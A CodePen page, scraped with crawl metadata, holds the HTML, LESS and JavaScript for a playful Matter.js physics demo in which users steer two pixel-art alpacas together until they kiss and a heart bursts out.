{ "red_pajama_v2": { "ccnet_original_length": 1261, "ccnet_original_nlines": 38, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.11627907305955887, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0029069799929857254, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3982557952404022, "rps_doc_frac_unique_words": 0.6043165326118469, "rps_doc_mean_word_length": 7, "rps_doc_num_sentences": 7, "rps_doc_symbol_to_word_ratio": 0.005813950207084417, "rps_doc_unigram_entropy": 4.2614336013793945, "rps_doc_word_count": 139, "rps_doc_frac_chars_dupe_10grams": 0.31449127197265625, "rps_doc_frac_chars_dupe_5grams": 0.31449127197265625, "rps_doc_frac_chars_dupe_6grams": 0.31449127197265625, "rps_doc_frac_chars_dupe_7grams": 0.31449127197265625, "rps_doc_frac_chars_dupe_8grams": 0.31449127197265625, "rps_doc_frac_chars_dupe_9grams": 0.31449127197265625, "rps_doc_frac_chars_top_2gram": 0.06166495010256767, "rps_doc_frac_chars_top_3gram": 0.02466597966849804, "rps_doc_frac_chars_top_4gram": 0.03494346886873245, "rps_doc_books_importance": -156.91278076171875, "rps_doc_books_importance_length_correction": -156.91278076171875, "rps_doc_openwebtext_importance": -49.68745803833008, "rps_doc_openwebtext_importance_length_correction": -49.68745803833008, "rps_doc_wikipedia_importance": -47.713653564453125, "rps_doc_wikipedia_importance_length_correction": -47.713653564453125 }, "fasttext": { "dclm": 0.02130163088440895, "english": 0.797082245349884, "fineweb_edu_approx": 1.2150059938430786, "eai_general_math": 0.000010370000381954014, "eai_open_web_math": 0.005034150090068579, "eai_web_code": 0.0000013100000160193304 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.822", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "1", "label": "Leftover HTML" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
908,338,069,718,671,500
css Audio - Active file-generic CSS - Active Generic - Active HTML - Active JS - Active SVG - Active Text - Active file-generic Video - Active header Love html icon-new-collection icon-person icon-team numbered-list123 pop-out spinner split-screen star tv Pen Settings CSS Base Vendor Prefixing Add External Stylesheets/Pens Any URL's added here will be added as <link>s in order, and before the CSS in the editor. If you link to another Pen, it will include the CSS from that Pen. If the preprocessor matches, it will attempt to combine them before processing. + add another resource You're using npm packages, so we've auto-selected Babel for you here, which we require to process imports and make it all work. If you need to use a different JavaScript preprocessor, remove the packages in the npm tab. Add External Scripts/Pens Any URL's added here will be added as <script>s in order, and run before the JavaScript in the editor. You can use the URL of any other Pen and it will include the JavaScript from that Pen. + add another resource Use npm Packages We can make npm packages available for you to use in your JavaScript. We use webpack to prepare them and make them available to import. We'll also process your JavaScript with Babel. ⚠️ This feature can only be used by logged in users. Code Indentation       Save Automatically? If active, Pens will autosave every 30 seconds after being saved once. Auto-Updating Preview If enabled, the preview panel updates automatically as you code. If disabled, use the "Run" button to update. HTML Settings Here you can Sed posuere consectetur est at lobortis. Donec ullamcorper nulla non metus auctor fringilla. Maecenas sed diam eget risus varius blandit sit amet non magna. Donec id elit non mi porta gravida at eget metus. Praesent commodo cursus magna, vel scelerisque nisl consectetur et. <script>console.clear()</script> <div class="controls"> <div class="green"> Move the <b>green alpaca</b> <div class="keys"><kbd data-key="1">1</kbd> & <kbd data-key="2">2</kbd></div> <small>or mouse/touch</small> </div> <div class="mission">Help them <span class="throb">kiss</span>!</div> <div class="pink"> Move the <b>pink alpaca</b> with <div class="keys"><kbd data-key="arrowleft">◀︎</kbd> & <kbd data-key="arrowright">▶</kbd></div> <small>or mouse/touch</small> </div> </div> ! @alt: #470031; // #323232 @main: darken(@alt, 4%);// #212121; @green: #62D2A2; @pink: #DD5B82; @import url('https://fonts.googleapis.com/css?family=Patrick+Hand+SC'); canvas { width: auto; max-width: 90%; height: auto; max-height: 75vh; display: block; margin: 0 auto; border: solid 10px @main; cursor: move; position: relative; z-index: 2; } html { height: 100%; background: @alt; color: #FFF; } body { min-height: 100%; max-width: 900px; margin: auto; } @media (min-width: 400px) and (min-height: 400px) and (max-width: 1200px) { body { display: flex; justify-content: center; align-items: center; flex-direction: column; } } /* //////////////////////////////////////// */ /* Special Valentines Day Background * @width: 21px; @height: @width * 2; @speed: 10s; // body:before, // body:after { // content: ''; // position: absolute; // top: 0; right: 0; bottom: 0; left: 0; // margin: auto; // opacity: 0.5; // width: 100%; // height: 100%; // box-sizing: content-box; // padding: @width @height; // background-repeat: repeat; // background-size: @width auto; // background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns=%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22 viewBox=%220 -0.5 20 40%22 shape-rendering=%22crispEdges%22%3E%0A%3Cpath stroke=%22%23DC3737%22 d=%22M1 0h2M4 0h2M0 1h7M1 2h5M2 3h3M3 4h1%22 %2F%3E%0A%3C%2Fsvg%3E"); // animation: hearts @speed linear infinite; // //animation-timing-function: cubic-bezier(.65,0,.35,.99); // @keyframes hearts { // 0% { transform: translate3d(0px, 0px, 0px); } // // 50% { transform: translate3d(@width, @height * -0.5, 0px); } // 100% { transform: translate3d(@width, -@height, 0px); } // } // @keyframes hearts2 { // 0% { transform: translate3d(0px, 0px, 0px); } // // 50% { transform: translate3d(@width, @height * -0.5, 0px); } // 100% { transform: translate3d(-@width, -@height, 0px); } // } // } // body:after { // left: @width * -0.5; // opacity: 0.25; // animation-name: hearts2; // animation-delay: @speed * -0.5; // } /* //////////////////////////////////////// */ .controls { // position: absolute; // bottom: 0; // left: 0; right: 0; margin: 0 auto; width: 90%; max-width: 800px; max-height: 80vh; border: solid 10px @main; background: @main; text-align: center; position: relative; z-index: 99; display: flex; align-items: center; justify-content: space-between; font-size: 16px; font-family: 'Patrick Hand SC', cursive; text-transform: uppercase; > * { padding: 0.5em 0.5em; } } .mission { font-weight: bold; font-size: 1.5em; } .keys { margin: 0.5em auto 0.25em; } .green b { color: @green } .pink b { color: @pink; } .throb { animation: throb 1s linear infinite alternate; } @keyframes throb { 0% { color: #FE9797; } 100% { color: #DD5B82; } } kbd { display: inline-block; padding: 10px; border: solid 1px #aaa; background: #eee; border-radius: 0.1em; color: #555; width: 2.5em; height: 1.2em; text-transform: none; border-bottom-width: 0.3em; border-radius: 0.5em; border-bottom-right-radius: 0.5em; font-family: monospace; font-size: calc(11px + 2vw); } [data-key] { cursor: pointer; } ! (function() { const green = '#62D2A2'; const pink = '#DD5B82'; const size = 30; const speed = 0.07; const shape = [ [0,0,0,0,0,0,0,1,0,0,0], [0,0,0,0,0,0,0,1,1,1,1], [0,0,0,0,0,0,0,1,1,1,1], [0,0,0,0,0,0,0,1,1,0,0], [0,0,0,0,0,0,0,1,1,0,0], [0,0,0,0,0,0,0,1,1,0,0], [0,0,0,0,0,0,0,1,1,0,0], [0,0,0,0,0,0,0,1,1,0,0], [0,0,0,1,1,1,1,1,1,0,0], [1,1,1,1,1,1,1,1,1,0,0], [0,0,0,1,1,1,1,1,1,0,0], [0,0,0,1,1,0,0,1,1,0,0], [0,0,0,1,1,0,0,1,1,0,0], [0,0,0,1,1,0,0,1,1,0,0], ]; const heartShape = [ [0,1,1,0,1,1,0], [1,1,1,1,1,1,1], [0,1,1,1,1,1,0], [0,0,1,1,1,0,0], [0,0,0,1,0,0,0] ]; var haveKissed = false; var sceneWidth = 800; var sceneHeight = 800; /*////////////////////////////////////////*/ var World = Matter.World, Bodies = Matter.Bodies, Body = Matter.Body, Composites = Matter.Composites, Composite = Matter.Composite, Common = Matter.Common, Constraint = Matter.Constraint, Bounds = Matter.Bounds, Engine = Matter.Engine, Render = Matter.Render, Events = Matter.Events, World = Matter.World; // create an engine var engine = Engine.create(); engine.enableSleeping = true; var world = engine.world; Engine.run(engine); /*////////////////////////////////////////*/ var canvas = document.createElement('canvas'); canvas.width = sceneWidth; canvas.height = sceneHeight; /*////////////////////////////////////////*/ var MouseConstraint = Matter.MouseConstraint, Mouse = Matter.Mouse; var mouseConstraint = MouseConstraint.create(engine,{ mouse: Mouse.create(canvas) }); var ground = Bodies.rectangle(sceneWidth/2, sceneHeight + (sceneHeight/2), Math.max(sceneWidth * 4, 2000), sceneHeight, { isStatic: true, render: { opacity: 1, fillStyle: '#D7FBE8', strokeStyle: '#D7FBE8' } }); World.add(world,[ mouseConstraint, ground]); // var walls = [ // Bodies.rectangle(-30, 0, 20, sceneHeight * 2, { isStatic: true }), // Bodies.rectangle(sceneWidth * 2 + 30, 0, 20, sceneHeight * 2, { isStatic: true }), // ]; // World.add(world, walls); /*////////////////////////////////////////*/ function connect(c, bodyA, bodyB, constraintOptions){ if ( bodyA && bodyB ) { Composite.addConstraint( c, Constraint.create( Common.extend({ bodyA: bodyA, bodyB: bodyB }, constraintOptions) )); } } function softSkeleton(xx, yy, matrix, particleRadius, constraintOptions, callback) { let c = Composite.create({ label: 'Skeleton' }); let y = 0; let lastRow = null; constraintOptions = constraintOptions || { stiffness: 0.95 }; callback = callback || function(x,y,size){ return Bodies.rectangle( x, y, size, size); }; for (let i = 0, len = matrix.length; i < len; i++){ //let c = Composite.create({ label: 'Row' + i }); let row = matrix[i]; let x = 0; for (let j = 0, count = row.length; j < count; j++){ if ( row[j] ) { row[j] = callback( xx + ( x * particleRadius), yy + ( y * particleRadius ), particleRadius, i, j ); Composite.addBody( c, row[j] ); connect(c, row[j - 1], row[j], constraintOptions); if ( lastRow ) { connect(c, row[j], lastRow[j], constraintOptions); connect(c, row[j], lastRow[j + 1], constraintOptions); connect(c, row[j], lastRow[j - 1], constraintOptions); } } x++; } y++; lastRow = row; } return c; }; /*////////////////////////////////////////*/ world.gravity.y = 0.25; var color = green; var width = ( shape[0].length * size ); var height = ( shape.length * size ); var startY = sceneHeight - ( shape.length * size ) - 20; var startX = 0;//(sceneWidth/2) - width; //-width/2; var boy = softSkeleton( startX, startY, shape, size, { stiffness: 0.99, render: { visible: false } }, function(x,y,size, i, j){ let s = size * ( j < 4 ? 0.8 : 1 ); let c = ( i === 2 && j === 9 ? '#000' : // Eyeball ( j % 2 !== ( i % 2 ? 0 : 1 ) ? color : '#52C292' ) ); return Bodies.rectangle( x, y, s, s,{ render: { fillStyle: c, strokeStyle: color, lineWidth: s * 0.3 } }); } ); World.add(world, boy); /*////////////////////////////////////////*/ var shape2 = shape.slice(0); shape2.map(function(row){ return row.reverse(); }); color = pink; startX = Math.max(width * 2, sceneWidth - width/2); // - ( arr2[0].length * size ); var girl = softSkeleton( startX, startY, shape2, size, { stiffness: 0.9, render: { visible: false } }, function(x,y,size, i, j){ let s = size * ( j > 7 ? 0.8 : 1 ); let c = ( i === 2 && j === 2 ? '#000' : // Eye ( j % 2 !== ( i % 2 ? 0 : 1 ) ? color : '#CD4B72' ) ); return Bodies.rectangle( x, y, s, s, { //mass: 0.6, render: { fillStyle: c, strokeStyle: color, lineWidth: s * 0.3 } }); } ); World.add(world, girl); /*////////////////////////////////////////*/ // Controls function onKeyDown(e){ //if ( haveKissed ) { return; } let key = ( e.code || e.key || '' ).toLowerCase().replace(/^(key|digit|numpad)/,''); let target; let invert = false; let girlTarget = girl.bodies[girl.bodies.length-4]; let boy1Target = boy.bodies[boy.bodies.length-1]; switch ( key ) { case 'arrowright': case 'arrowleft': target = girlTarget; break; case '1': case '2': target = boy1Target; break; } switch ( key ) { case 'arrowleft': case '1': invert = true; break; } TweenMax.fromTo('[data-key="' + key + '"]', 0.1, { backgroundColor: '#eee' },{ backgroundColor: '#ddd', repeat: 1, yoyo: true }); if ( target ) { let force = speed * ( invert ? -1 : 1 ); if ( haveKissed ) { force *= 0.2; } Body.applyForce(target, target.position, { x: force, y: 0 }); } } document.body.addEventListener('keydown',onKeyDown); function bindKeyButton(el){ let key = el.getAttribute('data-key'); function triggerKey(e){ e.preventDefault(); onKeyDown({ key: key }); } el.addEventListener('mousedown',triggerKey); el.addEventListener('touchstart',triggerKey); } var keys = document.querySelectorAll('[data-key]'); for (let i = 0; i < keys.length; i++){ bindKeyButton(keys[i]); } /*////////////////////////////////////////*/ function kiss(x,y){ if (!haveKissed ) { haveKissed = true; // Make everyone weightless var origGravity = world.gravity.y; TweenMax.to(world.gravity, 0.5, { y: -0.2, ease: Power3.easeIn }); // Make a heart let s = size / 2; let width = s * (heartShape[0].length); let height = heartShape.length * s; let c = '#DC3737'; let heart = softSkeleton( x - (width* 0.4), y - ( height * 1.75 ), heartShape, s, { stiffness: 0.7, render: { visible: false } }, function(x,y,size, i, j){ return Bodies.rectangle( x, y, s, s, { //frictionAir: -0.2, //density: 0.01, frictionAir: 0.004, //mass: 0.3, render: { fillStyle: c, strokeStyle: c, } }); } ); World.add(world, heart); // Check for sleeping heart pieces & remove them var bodiesLeft = heart.bodies.length; heart.bodies.forEach((body)=>{ Events.on(body, 'sleepStart', function(event) { var body = this; Composite.remove(heart, body); bodiesLeft--; if ( bodiesLeft <= 0 ) { World.remove(world, heart); haveKissed = false; } }); }); // Break heart & reset gravity. setTimeout(function(){ var c = Composite.allConstraints(heart); c.forEach((constraint)=>{ Composite.remove(heart, c); }); TweenLite.to(world.gravity, 2, { y: origGravity, ease: Power3.easeIn, onComplete: function(){ setTimeout(function(){ haveKissed = false; },4000); } }); setTimeout(function(){ Body.applyForce(girl.bodies[0], girl.bodies[0].position, { x: 0.12, y: 0 }); Body.applyForce(boy.bodies[0], boy.bodies[0].position, { x: -0.09, y: 0 }); },1200); },3500); } } /*////////////////////////////////////////*/ // Kiss detection & triggering. var kissDetectors = [ boy.bodies[4], girl.bodies[1] ]; Events.on(engine, 'collisionStart', function(event) { var pairs = event.pairs; // change object colours to show those starting a collision for (var i = 0; i < pairs.length; i++) { var pair = pairs[i]; if ( kissDetectors.indexOf(pair.bodyA) > -1 && kissDetectors.indexOf(pair.bodyB) > -1 ) { var center = ( pair.bodyA.position.x + pair.bodyB.position.x ) / 2; kiss(center, boy.bodies[0].position.y - (size * 2)); } } }) /*////////////////////////////////////////*/ // Render var render = Render.create({ element: document.body, canvas: canvas, context: canvas.getContext('2d'), engine: engine, options: { hasBounds: true, width: sceneWidth, height: sceneHeight, //showAngleIndicator: true, wireframes: false, //wireframeBackground: '#ffffff', } }); Render.run(render); /*////////////////////////////////////////*/ // Resizing var origBounds = render.bounds; var lastScale; // world.bounds.min.x = -width/2; // world.bounds.min.y = -height; // world.bounds.max.x = sceneWidth + width/2; // world.bounds.max.y = sceneHeight; var mouse = mouseConstraint.mouse; var boundsScale = 1; var initial = true; function ease(current,target,ease){ return current + (target - current) * ( ease || 0.2 ); }; function resizeRender(){ requestAnimationFrame(resizeRender); var distance = Math.abs( boy.bodies[0].position.x - girl.bodies[0].position.x ) + width * 2; var boundsScaleTarget = (distance / sceneWidth); boundsScale = ease(boundsScale, boundsScaleTarget, (initial ? 1 : 0.01 )); //+= scaleFactor; // scale the render bounds render.bounds.min.x = ease( render.bounds.min.x, Math.min(boy.bodies[0].position.x - width, girl.bodies[0].position.x), (initial ? 1 : 0.01)); render.bounds.max.x = render.bounds.min.x + render.options.width * boundsScale; render.bounds.min.y = (sceneHeight * -0.1 ) * boundsScale; //render.bounds.min.x - (sceneHeight * (1 - boundsScale) * 0.1 ); render.bounds.max.y = (sceneHeight * 0.9 ) * boundsScale; //render.bounds.max.x - (sceneHeight * (1 - boundsScale) * 0.1 ); // update mouse Mouse.setScale(mouse, { x: boundsScale, y: boundsScale });//boundsScale - boundsScaleTarget); Mouse.setOffset(mouse, render.bounds.min); initial = false; } resizeRender(); document.body.insertBefore(canvas, document.body.firstChild); // Vue.filter('round', function(value){ return Math.round(value * 100) / 100 }); // var el = document.createElement('div'); // document.body.appendChild(el); // var v = new Vue({ // el: el, // template: ` // <table> // <tr> // <th>boundsScale</th><td>{{ boundsScale | round }}</td> // </tr> // <template v-for="(bound,key) in bounds"> // <tr v-for="(val,i) in bound"> // <th>{{key}}.{{i}}</th> // <td> {{val | round }}</td> // </tr> // </template> // </table> // `, // data: { // bounds: render.bounds, // boundsScale: boundsScale // }, // beforeUpdate: function(){ // this.boundsScale = boundsScale; // } // }) })(); ! 999px 🕑 One or more of the npm packages you are using needs to be built. You're the first person to ever need it! We're building it right now and your preview will start updating again when it's ready. Loading .................. Console
{ "url": "https://codepen.io/shshaw/pen/apwMwM", "source_domain": "codepen.io", "snapshot_id": "crawl=CC-MAIN-2018-51", "warc_metadata": { "Content-Length": "141180", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:K6R7ONUPJE4E7BNISYGLAI5XZMB3EBWV", "WARC-Concurrent-To": "<urn:uuid:2418ebc6-ad58-429a-8daa-edca981fba83>", "WARC-Date": "2018-12-15T16:17:42Z", "WARC-IP-Address": "104.25.15.31", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:GNGE37HJNR472OQISSIZIWJWONENTCXK", "WARC-Record-ID": "<urn:uuid:8889d477-48b8-4158-8bdd-5d800bc5cd3e>", "WARC-Target-URI": "https://codepen.io/shshaw/pen/apwMwM", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:ba275fed-1823-4a58-bcbb-a2af562feaac>" }, "warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-165-185-158.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 256, 257, 270, 271, 280, 281, 298, 299, 329, 330, 567, 568, 591, 592, 812, 813, 839, 840, 1030, 1031, 1054, 1055, 1072, 1073, 1256, 1257, 1310, 1311, 1328, 1329, 1335, 1336, 1356, 1357, 1428, 1429, 1451, 1452, 1562, 1563, 1577, 1578, 1866, 1867, 1880, 1927, 1928, 1951, 1971, 2002, 2082, 2114, 2121, 2124, 2196, 2197, 2216, 2252, 2350, 2382, 2389, 2396, 2409, 2420, 2422, 2435, 2475, 2512, 2529, 2545, 2546, 2618, 2619, 2629, 2645, 2664, 2681, 2702, 2721, 2740, 2769, 2786, 2820, 2822, 2830, 2847, 2868, 2883, 2885, 2944, 2945, 3021, 3031, 3050, 3079, 3104, 3133, 3137, 3139, 3140, 3141, 3188, 3227, 3228, 3242, 3263, 3276, 3277, 3293, 3309, 3327, 3352, 3395, 3414, 3433, 3451, 3470, 3500, 3503, 3533, 3565, 3600, 3883, 3886, 3933, 3996, 4021, 4074, 4144, 4207, 4214, 4217, 4245, 4298, 4368, 4432, 4439, 4444, 4445, 4461, 4487, 4507, 4537, 4574, 4579, 4580, 4627, 4628, 4640, 4665, 4681, 4705, 4723, 4737, 4757, 4779, 4807, 4828, 4850, 4872, 4887, 4904, 4927, 4961, 4980, 5023, 5052, 5055, 5087, 5089, 5090, 5140, 5177, 5204, 5230, 5286, 5288, 5307, 5333, 5360, 5362, 5363, 5369, 5394, 5411, 5437, 5457, 5481, 5496, 5512, 5529, 5553, 5583, 5607, 5644, 5670, 5701, 5703, 5704, 5736, 5737, 5750, 5761, 5763, 5776, 5804, 5805, 5832, 5858, 5877, 5899, 5900, 5918, 5947, 5976, 6005, 6034, 6063, 6092, 6121, 6150, 6179, 6208, 6237, 6266, 6295, 6324, 6329, 6330, 6353, 6374, 6395, 6416, 6437, 6457, 6462, 6463, 6489, 6513, 6538, 6539, 6540, 6541, 6588, 6589, 6590, 6591, 6619, 6649, 6675, 6713, 6749, 6779, 6817, 6847, 6877, 6907, 6937, 6965, 6966, 6967, 6989, 7021, 7053, 7054, 7082, 7104, 7105, 7152, 7157, 7206, 7235, 7266, 7267, 7314, 7315, 7363, 7391, 7392, 7448, 7480, 7486, 7487, 7612, 7632, 7646, 7664, 7692, 7721, 7727, 7733, 7736, 7783, 7784, 7803, 7877, 7967, 7975, 8005, 8006, 8007, 8054, 8055, 8111, 8139, 8192, 8217, 8242, 8265, 8295, 8305, 8311, 8315, 8316, 8403, 8404, 8457, 8472, 8496, 8562, 8563, 8610, 8660, 8667, 8668, 8724, 8725, 8726, 8782, 8809, 8826, 8827, 8886, 8910, 8911, 8940, 8981, 9023, 9051, 9066, 9080, 9093, 9094, 9136, 9137, 9198, 9199, 9226, 9289, 9356, 9423, 9435, 9445, 9458, 9466, 9467, 9478, 9499, 9500, 9506, 9507, 9521, 9526, 9527, 9574, 9575, 9576, 9602, 9603, 9624, 9625, 9667, 9707, 9766, 9821, 9822, 9848, 9861, 9873, 9885, 9896, 9949, 9979, 9980, 10022, 10037, 10091, 10155, 10168, 10169, 10214, 10233, 10257, 10287, 10316, 10326, 10336, 10342, 10347, 10348, 10373, 10374, 10421, 10422, 10453, 10481, 10507, 10513, 10514, 10530, 10616, 10617, 10644, 10657, 10669, 10682, 10693, 10745, 10775, 10776, 10818, 10871, 10938, 10955, 10956, 11002, 11023, 11042, 11066, 11096, 11125, 11135, 11145, 11151, 11156, 11157, 11183, 11184, 11185, 11232, 11246, 11247, 11272, 11273, 11309, 11310, 11399, 11415, 11439, 11440, 11496, 11550, 11551, 11572, 11597, 11621, 11650, 11665, 11666, 11682, 11698, 11727, 11742, 11761, 11762, 11783, 11807, 11823, 11846, 11861, 11867, 11872, 11927, 11957, 11965, 11996, 12013, 12030, 12038, 12039, 12059, 12106, 12148, 12198, 12221, 12231, 12237, 12241, 12244, 12247, 12248, 12303, 12304, 12307, 12337, 12342, 12385, 12413, 12439, 12470, 12476, 12525, 12575, 12579, 12582, 12636, 12677, 12705, 12709, 12712, 12713, 12714, 12761, 12762, 12763, 12785, 12809, 12834, 12835, 12869, 12910, 12911, 12951, 12968, 12996, 13006, 13007, 13008, 13030, 13054, 13100, 13142, 13167, 13199, 13225, 13257, 13278, 13290, 13346, 13380, 13381, 13431, 13464, 13493, 13525, 13550, 13573, 13601, 13631, 13645, 13659, 13669, 13678, 13709, 13710, 13765, 13809, 13846, 13902, 13929, 13970, 13994, 14030, 14070, 14102, 14114, 14126, 14136, 14137, 14175, 14204, 14205, 14254, 14320, 14321, 14362, 14388, 14419, 14453, 14517, 14529, 14541, 14550, 14551, 14582, 14583, 14653, 14679, 14693, 14694, 14762, 14789, 14803, 14804, 14821, 14822, 14837, 14838, 14844, 14848, 14849, 14896, 14897, 14931, 14932, 14957, 14977, 14996, 15001, 15002, 15058, 15087, 15088, 15152, 15197, 15224, 15225, 15237, 15285, 15336, 15346, 15347, 15423, 15424, 15485, 15493, 15499, 15504, 15505, 15506, 15553, 15554, 15566, 15567, 15598, 15626, 15646, 15684, 15704, 15719, 15742, 15767, 15795, 15829, 15854, 15894, 15900, 15906, 15928, 15929, 15976, 15977, 15991, 15992, 16026, 16043, 16079, 16114, 16162, 16201, 16202, 16203, 16240, 16263, 16285, 16288, 16384, 16385, 16412, 16413, 16454, 16459, 16556, 16609, 16610, 16707, 16708, 16739, 16886, 16970, 16975, 17039, 17109, 17171, 17241, 17242, 17262, 17360, 17407, 17428, 17429, 17433, 17451, 17454, 17518, 17521, 17604, 17649, 17685, 17688, 17711, 17726, 17745, 17762, 17776, 17842, 17857, 17907, 17940, 17974, 18012, 18027, 18042, 18060, 18070, 18075, 18090, 18122, 18156, 18166, 18171, 18204, 18246, 18255, 18263, 18264, 18270, 18283, 18294, 18296, 18302, 18498, 18525, 18526 ], "line_end_idx": [ 256, 257, 270, 271, 280, 281, 298, 299, 329, 330, 567, 568, 591, 592, 812, 813, 839, 840, 1030, 1031, 1054, 1055, 1072, 1073, 1256, 1257, 1310, 1311, 1328, 1329, 1335, 1336, 1356, 1357, 1428, 1429, 1451, 1452, 1562, 1563, 1577, 1578, 1866, 1867, 1880, 1927, 1928, 1951, 1971, 2002, 2082, 2114, 2121, 2124, 2196, 2197, 2216, 2252, 2350, 2382, 2389, 2396, 2409, 2420, 2422, 2435, 2475, 2512, 2529, 2545, 2546, 2618, 2619, 2629, 2645, 2664, 2681, 2702, 2721, 2740, 2769, 2786, 2820, 2822, 2830, 2847, 2868, 2883, 2885, 2944, 2945, 3021, 3031, 3050, 3079, 3104, 3133, 3137, 3139, 3140, 3141, 3188, 3227, 3228, 3242, 3263, 3276, 3277, 3293, 3309, 3327, 3352, 3395, 3414, 3433, 3451, 3470, 3500, 3503, 3533, 3565, 3600, 3883, 3886, 3933, 3996, 4021, 4074, 4144, 4207, 4214, 4217, 4245, 4298, 4368, 4432, 4439, 4444, 4445, 4461, 4487, 4507, 4537, 4574, 4579, 4580, 4627, 4628, 4640, 4665, 4681, 4705, 4723, 4737, 4757, 4779, 4807, 4828, 4850, 4872, 4887, 4904, 4927, 4961, 4980, 5023, 5052, 5055, 5087, 5089, 5090, 5140, 5177, 5204, 5230, 5286, 5288, 5307, 5333, 5360, 5362, 5363, 5369, 5394, 5411, 5437, 5457, 5481, 5496, 5512, 5529, 5553, 5583, 5607, 5644, 5670, 5701, 5703, 5704, 5736, 5737, 5750, 5761, 5763, 5776, 5804, 5805, 5832, 5858, 5877, 5899, 5900, 5918, 5947, 5976, 6005, 6034, 6063, 6092, 6121, 6150, 6179, 6208, 6237, 6266, 6295, 6324, 6329, 6330, 6353, 6374, 6395, 6416, 6437, 6457, 6462, 6463, 6489, 6513, 6538, 6539, 6540, 6541, 6588, 6589, 6590, 6591, 6619, 6649, 6675, 6713, 6749, 6779, 6817, 6847, 6877, 6907, 6937, 6965, 6966, 6967, 6989, 7021, 7053, 7054, 7082, 7104, 7105, 7152, 7157, 7206, 7235, 7266, 7267, 7314, 7315, 7363, 7391, 7392, 7448, 7480, 7486, 7487, 7612, 7632, 7646, 7664, 7692, 7721, 7727, 7733, 7736, 7783, 7784, 7803, 7877, 7967, 7975, 8005, 8006, 8007, 8054, 8055, 8111, 8139, 8192, 8217, 8242, 8265, 8295, 8305, 8311, 8315, 8316, 8403, 8404, 8457, 8472, 8496, 8562, 8563, 8610, 8660, 8667, 8668, 8724, 8725, 8726, 8782, 8809, 8826, 8827, 8886, 8910, 8911, 8940, 8981, 9023, 9051, 9066, 9080, 9093, 9094, 9136, 9137, 9198, 9199, 9226, 9289, 9356, 9423, 9435, 9445, 9458, 9466, 9467, 9478, 9499, 9500, 9506, 9507, 9521, 9526, 9527, 9574, 9575, 9576, 9602, 9603, 9624, 9625, 9667, 9707, 9766, 9821, 9822, 9848, 9861, 9873, 9885, 9896, 9949, 9979, 9980, 10022, 10037, 10091, 10155, 10168, 10169, 10214, 10233, 10257, 10287, 10316, 10326, 10336, 10342, 10347, 10348, 10373, 10374, 10421, 10422, 10453, 10481, 10507, 10513, 10514, 10530, 10616, 10617, 10644, 10657, 10669, 10682, 10693, 10745, 10775, 10776, 10818, 10871, 10938, 10955, 10956, 11002, 11023, 11042, 11066, 11096, 11125, 11135, 11145, 11151, 11156, 11157, 11183, 11184, 11185, 11232, 11246, 11247, 11272, 11273, 11309, 11310, 11399, 11415, 11439, 11440, 11496, 11550, 11551, 11572, 11597, 11621, 11650, 11665, 11666, 11682, 11698, 11727, 11742, 11761, 11762, 11783, 11807, 11823, 11846, 11861, 11867, 11872, 11927, 11957, 11965, 11996, 12013, 12030, 12038, 12039, 12059, 12106, 12148, 12198, 12221, 12231, 12237, 12241, 12244, 12247, 12248, 12303, 12304, 12307, 12337, 12342, 12385, 12413, 12439, 12470, 12476, 12525, 12575, 12579, 12582, 12636, 12677, 12705, 12709, 12712, 12713, 12714, 12761, 12762, 12763, 12785, 12809, 12834, 12835, 12869, 12910, 12911, 12951, 12968, 12996, 13006, 13007, 13008, 13030, 13054, 13100, 13142, 13167, 13199, 13225, 13257, 13278, 13290, 13346, 13380, 13381, 13431, 13464, 13493, 13525, 13550, 13573, 13601, 13631, 13645, 13659, 13669, 13678, 13709, 13710, 13765, 13809, 13846, 13902, 13929, 13970, 13994, 14030, 14070, 14102, 14114, 14126, 14136, 14137, 14175, 14204, 14205, 14254, 14320, 14321, 14362, 14388, 14419, 14453, 14517, 14529, 14541, 14550, 14551, 14582, 14583, 14653, 14679, 14693, 14694, 14762, 14789, 14803, 14804, 14821, 14822, 14837, 14838, 14844, 14848, 14849, 14896, 14897, 14931, 14932, 14957, 14977, 14996, 15001, 15002, 15058, 15087, 15088, 15152, 15197, 15224, 15225, 15237, 15285, 15336, 15346, 15347, 15423, 15424, 15485, 15493, 15499, 15504, 